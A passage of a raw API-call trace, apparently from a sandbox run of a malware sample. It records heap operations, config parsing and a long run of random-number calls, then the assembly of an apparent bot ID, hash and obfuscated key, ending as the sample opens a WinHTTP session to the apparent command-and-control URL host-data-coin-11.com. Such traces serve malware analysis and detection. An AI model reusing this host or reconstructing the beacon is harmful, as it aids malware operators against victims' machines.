(hInternet=0x57aa80) returned 1 [0152.603] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141be0) returned 0x10d [0152.603] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141be0) returned 1 [0152.603] WinHttpCloseHandle (hInternet=0x86aae60) returned 1 [0152.603] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b10) returned 0x68 [0152.604] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b10) returned 1 [0152.604] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141af0) returned 0x12 [0152.604] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141af0) returned 1 [0152.604] WinHttpCloseHandle (hInternet=0x86586c0) returned 1 [0152.604] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419d0) returned 0x10c [0152.605] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419d0) returned 1 [0152.605] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141870) returned 0x79 [0152.605] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141870) returned 1 [0152.605] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141900) returned 0xc8 [0152.606] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141900) returned 1 [0152.606] lstrlenA (lpString="ä\x072|:|plugin_size=0") returned 19 [0152.606] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x15) returned 0x9141870 [0152.606] lstrlenA (lpString="2|:|plugin_size=0") returned 17 [0152.606] lstrlenA (lpString="plugin_size") returned 11 [0152.606] atoi (_Str="0") returned 0 [0152.606] lstrlenA (lpString="2|:|plugin_size=0") returned 17 [0152.606] lstrlenA (lpString="|:|") returned 3 [0152.606] MapViewOfFile (hFileMappingObject=0x1ee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x7c60000 [0152.656] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0152.656] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7c60000) returned 0x0 [0152.684] atoi (_Str="2") returned 2 [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4eb6e36 [0152.684] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12a) returned 0x9141890 [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5e132ba1 [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x55dacdf [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7be1a45c [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x94b6fbff [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc69354b [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x397804fe [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbbe8b5c [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1baaabb9 [0152.684] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x55ddd258 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x14a0adca [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f875f14 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec0eabbb [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5ca0a5e0 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62df77ee [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf2ccb286 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f57687a [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe52b8edd [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xff16e0ec [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb3b7b758 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2ee467e [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf4bc5344 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9bb486b8 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x381d554a [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x981e77a0 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xafac8c67 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8b8752b7 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x871b1cc1 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5df98db2 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe48711ea [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfd5266f0 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xabfe7cd8 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x949e7544 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4eda36a1 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x68a22882 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x66fecd47 [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbbe3cfb [0152.685] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf946c553 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ceaefc5 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63a91eaf [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeaa8ab8a [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcea87144 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb1b49681 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ad05423 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf36b7046 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc45a30cc [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6b0a9c22 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x756739fb [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6933eec [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc82a5867 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa20d8c21 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf448fff [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8b5e6a46 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe74ecdf [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe307539d [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9190b365 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x250fbec8 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4e0169d6 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1bbd98e5 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xad0e150c [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cec39f2 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf9913b2 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xebc13919 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x983c7ba9 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12405643 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9ccf662 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x100935c5 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9b7ae9d8 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x51b1f5d8 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd93fd476 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xad23652b [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ad3c330 [0152.686] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x13b5df46 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa98d8e94 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x90d342fd [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4886ea1 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b292801 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x39e5426a [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36ccf5e [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x69147b92 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6564b28 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5e021cf0 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd1807c7b [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcd450793 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe2144e29 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6dba1a49 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2a9340b8 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4573234a [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1d0f42ef [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x72dd51c9 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf4f6ee8a [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd8dfe9fd [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb96dad66 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x932ebc0b [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5db53abf [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31057629 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa9c811ec [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1a28395d [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4bc880ac [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x33f4f312 [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd8d3df8c [0152.687] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc93179b6 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb56c5af2 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7c5a14d3 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd03e065a [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4e5fe1c2 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe659f8d8 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3296c59d [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7feaef5c [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3bfb943 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x997fc8bc [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6131a782 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd2bfe1f0 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x589e4f64 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa580b5c [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ac584c6 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x45f78a13 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c421f6 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8f09c9e [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x353e2c94 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9dadea4e [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cefcf24 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea212507 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4e7ed7 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x588f091b [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54a44c79 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8bb1b5b9 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc5ae3ff2 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xebe239ba [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd95d7a51 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd21daba5 [0152.688] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a2a9961 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x990ee223 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c41a546 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3e206ca7 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd28477ca [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x864eb5e2 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xceadf0f7 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe86b8c5c [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x45acd290 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f9ae498 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7dd1e03f [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb8a84938 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x44b1b7a3 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x14d4bc9c [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbd7d5783 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfefb3499 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeb4eb284 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf719e0c8 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x97e395ce [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2624ef35 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17ae0339 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2ba922c9 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5df972f9 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x715bed20 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbfe10a9 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6aaaa211 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77f666ad [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x809fad77 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb74f75d0 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x277b6435 [0152.689] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x10176aa8 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x29946e97 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x61a2b606 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf8caa17d [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6948932 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e4a6872 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1f9851ea [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6b51770e [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd5c8bf2f [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa5f35ec4 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x55950c88 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa7f68e13 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf53ad1cf [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x421e3891 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x507fbeb1 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c074b5d [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc147aeb4 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e1702a9 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4fe8596d [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x806769aa [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99e3b6f7 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x506fdbc6 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a5c8d12 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe2a920f1 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x29a94e98 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x603a0322 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb0acf52b [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdeff1659 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x43bc41fe [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1162306b [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb69a5c1f [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x37dcfe27 [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb62c9dc [0152.690] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x96f2075f [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc28f0792 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc78318b5 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23c10c01 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c107a1e [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x889c0e36 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf158ec2b [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2e4e43b [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf9062b77 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x397e909d [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd4aa1b45 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x10c76010 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8905b09b [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfad688e2 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d65459b [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x39145a5 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x138980db [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa09b502 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x69bb3798 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x96503caa [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x74c02ee5 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9590caef [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf7e8e7ec [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e418fc1 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x953ed551 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8b9735c [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeae70a0e [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x33171395 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31117fb4 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdf9e62c2 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2bc63202 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa87f47fa [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbd44f85b [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd72b022b [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ddd1830 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x598e0f3f [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6677bd99 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd2bd2863 [0152.691] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1dbf226e [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb12f04f [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c08c852 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x749202bc [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x90d34f9 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7a5a2678 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xee6bf89e [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9d59acbd [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe9918e8f [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c47e1bf [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1bee3ff3 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23fd4e59 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b05f00c [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcec84231 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf0c58269 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x86505328 [0152.692] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8a1cc5e9 [0152.692] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x179) returned 0x91419d0 [0152.692] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0152.692] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0152.692] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0152.692] lstrcatA (in: lpString1="", lpString2="PjChD]iL%!kV;oec&#QmyGC;D>VmM_];\"12Pz0tE?T,UyU$1.`@%R*z7)AJeewqm5tMcsKQhhxpj3pz;zeI8S;rBClH.1\\+:@%]Vdxp.i81LFVU%Ijz1$vW9n=yG1,`/*VjaBQ#VgmFBV\"bM,Z7JZ:3bg6LTQdtgB5(cX!UaLRe$^qP`*J/H[QD*JAPR*" | out: lpString1="PjChD]iL%!kV;oec&#QmyGC;D>VmM_];\"12Pz0tE?T,UyU$1.`@%R*z7)AJeewqm5tMcsKQhhxpj3pz;zeI8S;rBClH.1\\+:@%]Vdxp.i81LFVU%Ijz1$vW9n=yG1,`/*VjaBQ#VgmFBV\"bM,Z7JZ:3bg6LTQdtgB5(cX!UaLRe$^qP`*J/H[QD*JAPR*") returned="PjChD]iL%!kV;oec&#QmyGC;D>VmM_];\"12Pz0tE?T,UyU$1.`@%R*z7)AJeewqm5tMcsKQhhxpj3pz;zeI8S;rBClH.1\\+:@%]Vdxp.i81LFVU%Ijz1$vW9n=yG1,`/*VjaBQ#VgmFBV\"bM,Z7JZ:3bg6LTQdtgB5(cX!UaLRe$^qP`*J/H[QD*JAPR*" [0152.692] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9141b60 [0152.692] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0152.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9141b60, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0152.692] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0152.790] WinHttpOpen 